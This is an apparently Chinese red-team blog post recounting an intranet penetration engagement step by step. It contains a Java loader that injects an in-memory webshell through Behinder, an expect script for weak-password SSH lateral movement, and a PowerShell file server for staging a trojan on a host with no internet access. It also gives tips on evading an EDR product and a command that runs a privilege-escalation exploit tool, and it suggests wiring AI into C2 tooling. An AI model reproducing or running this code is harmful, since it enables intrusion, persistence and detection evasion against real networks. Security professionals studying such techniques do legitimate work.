记录一次攻防,遇到各种奇奇怪怪的问题.
原创
ChinaRan404
ChinaRan404
知攻善防实验室
2026年7月1日 08:51
浙江
在小说阅读器读本章
去阅读
前言
真是倒大霉了,破内网,问题太多了,研究了一天,每一步都是坑,每一步都在跟安全环境对抗。
问题 1:入口冰蝎
工具梭哈的入口 shell,不想去折腾漏洞,工具打的冰蝎内存马,需要注入一个其他工具的内存马
import javax.servlet.ServletOutputStream;import javax.servlet.ServletResponse;import java.lang.reflect.Method;import java.util.Map;
public class Test {
private Object Request; private Object Response; private Object Session;
@Override public boolean equals(Object obj) {\t try {\t\t fillContext(obj);\t\t ServletOutputStream so = ((ServletResponse) Response).getOutputStream();
\t\t String b64 = \"Base64内存马\";\t\t byte[] bytecode = java.util.Base64.getDecoder().decode(b64);
\t\t // 方式1: ClassLoader#defineClass 加载\t\t Method defineClass = ClassLoader.class.getDeclaredMethod(\t\t\t \"defineClass\", String.class, byte[].class, int.class, int.class);\t\t defineClass.setAccessible(true);\t\t Class<?> clazz = (Class<?>) defineClass.invoke(\t\t\t Thread.currentThread().getContextClassLoader(),\t\t\t null, bytecode, 0, bytecode.length);
\t\t clazz.newInstance();
\t\t so.write(\"MemShell injected OK\".getBytes(\"UTF-8\"));\t\t so.flush();\t\t so.close();\t } catch (Exception e) {\t\t // 如果 defineClass 失败,尝试 Unsafe 方式\t\t try {\t\t\t String b64 = \"Base64 内存马\";\t\t\t byte[] bytecode = java.util.Base64.getDecoder().decode(b64);
\t\t\t java.lang.reflect.Field f = sun.misc.Unsafe.class.getDeclaredField(\"theUnsafe\");\t\t\t f.setAccessible(true);\t\t\t sun.misc.Unsafe u = (sun.misc.Unsafe) f.get(null);\t\t\t Class<?> clazz = u.defineClass(\t\t\t\t null, bytecode, 0, bytecode.length,\t\t\t\t Thread.currentThread().getContextClassLoader(), null);\t\t\t clazz.newInstance();
\t\t\t ServletOutputStream so = ((ServletResponse) Response).getOutputStream();\t\t\t so.write(\"MemShell injected OK (Unsafe)\".getBytes(\"UTF-8\"));\t\t\t so.flush();\t\t\t so.close();\t\t } catch (Exception ex) {\t\t\t ex.printStackTrace();\t\t }\t }\t return true; }
private void fillContext(Object obj) throws Exception {\t if (obj.getClass().getName().indexOf(\"PageContext\") >= 0) {\t\t this.Request = obj.getClass().getDeclaredMethod(\"getRequest\").invoke(obj);\t\t this.Response = obj.getClass().getDeclaredMethod(\"getResponse\").invoke(obj);\t\t this.Session = obj.getClass().getDeclaredMethod(\"getSession\").invoke(obj);\t } else {\t\t Map<String, Object> objMap = (Map<String, Object>) obj;\t\t this.Session = objMap.get(\"session\");\t\t this.Response = objMap.get(\"response\");\t\t this.Request = objMap.get(\"request\");\t }\t Response.getClass().getDeclaredMethod(\t\t \"setCharacterEncoding\", String.class).invoke(Response, \"UTF-8\"); }}
冰蝎这里执行即可,内存马从这生成https://party.mem.mk/ui
问题 2: WS 协议不上线
websocket 不上线->改用 tcp 通信,(下文说了,长连接会有问题)
此时的同时,反向隧道出来也是不稳定的下面会说,并且各种隧道工具(不限于开源、自研,全都试了,全都被 kill)
问题 3:交互式 shell 用不了
为什么用不了?我也不知道,换了好几个 C2、vshell、cs 魔改、内部 c2,全都用不了,通信和问题 3 一样会一卡一卡的(长连接会被中断),有知道的师傅留言讨论一下
解决方法:使用非交互式 shell,目标是横一台弱口令再进行二次驻点横向
问题 4:隧道代理打进去,横向移动会被流量设备拦截
隧道代理打进去,横向移动会被流量设备拦截,比如访问一个内网网站,需要建立多次连接,可能连接第一次可以,第二次就被拦截了。
SSH 的话就会遇到这个问题
解决方法:
非交互式 shell 连接 ssh 进行命令执行
echo '#!/usr/bin/expect' > /tmp/ssh2.exp; echo 'spawn /usr/bin/ssh -o StrictHostKeyChecking=no root@IP ping baidu.com -c 1' >> /tmp/ssh2.exp; echo 'expect Password:' >> /tmp/ssh2.exp; echo 'send admin123\\\\r' >> /tmp/ssh2.exp; echo 'expect eof' >> /tmp/ssh2.exp; /usr/bin/expect /tmp/ssh2.exp
这样就可以了。如果你有自己的 C2,强烈建议加一个 MCP,有时候 AI 可以帮你解决很多问题。
反思:既然 Server1 端连接其他机器没问题,那肯定就是出网流量问题,Server2 端出网反向隧道也没问题,那肯定就是 Server1 的某个进程会杀流量
问题 5:文件下载问题
入口点 A(Windows)->横向 B Linux不出网,且 B Linux为冷门 CPU 架构,且 B Linux 系统不完整,sftp、scp用不了。
解决方法->入口机 powershell 起一个 http 服务,远程下载正向连接木马
那么有老铁问了,为什么不传个建议 http 服务器 exe 文件进去,或者 python -m http.server ?
因为尽量动作最小,本机没 python 环境。
powershell 另存为 ps1文件,运行即可:
# 简易原生HTTP静态文件服务器,监听本机所有网卡0.0.0.0:8080$port = 8080$rootPath = Get-Location # 当前终端目录作为网站根目录$listener = New-Object System.Net.HttpListener$listener.Prefixes.Add(\"http://+:${port}/\")$listener.Start()Write-Host \"服务已启动:http://localhost:$port | 局域网IP:${port}\"Write-Host \"网站根目录:$rootPath\"Write-Host \"按 Ctrl+C 停止服务\"try { while ($listener.IsListening) { $context = $listener.GetContext() $req = $context.Request $res = $context.Response $filePath = Join-Path $rootPath $req.Url.LocalPath.TrimStart('/') # 目录自动补index.html if (Test-Path $filePath -PathType Container) { $filePath = Join-Path $filePath \"index.html\" } # 文件存在则返回,否则404 if (Test-Path $filePath -PathType Leaf) { $bytes = [System.IO.File]::ReadAllBytes($filePath) $res.ContentLength64 = $bytes.Length $res.OutputStream.Write($bytes,0,$bytes.Length) } else { $msg = \"404 文件不存在:$($req.Url.LocalPath)\" $buf = [System.Text.Encoding]::UTF8.GetBytes($msg) $res.StatusCode = 404 $res.ContentLength64 = $buf.Length $res.OutputStream.Write($buf,0,$buf.Length) } $res.OutputStream.Close() }} finally { $listener.Stop() Write-Host \"服务已关闭\"}
问题 6:扫描工具被 kill
某恒 edr 进步很明显,已经可以 kill 绝大多数的开源内网扫描工具了,直接换 gogo 或者二开 fscan(这个要大改)
所以平时武器化工具一定要储备
顺带提一嘴:浙江地区真是某恒的天下啊,每次攻防都遇到这个问题
问题 7:Linux提权问题
需要 icmp 探段,icmp 就需要root,root 就要提权CACM 秒了
./CACM_amd64_zh_tools_stealth -c \"cve run DIRTY-FRAG-2026 whoami\"
具体 CACM 是什么工具看这篇
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论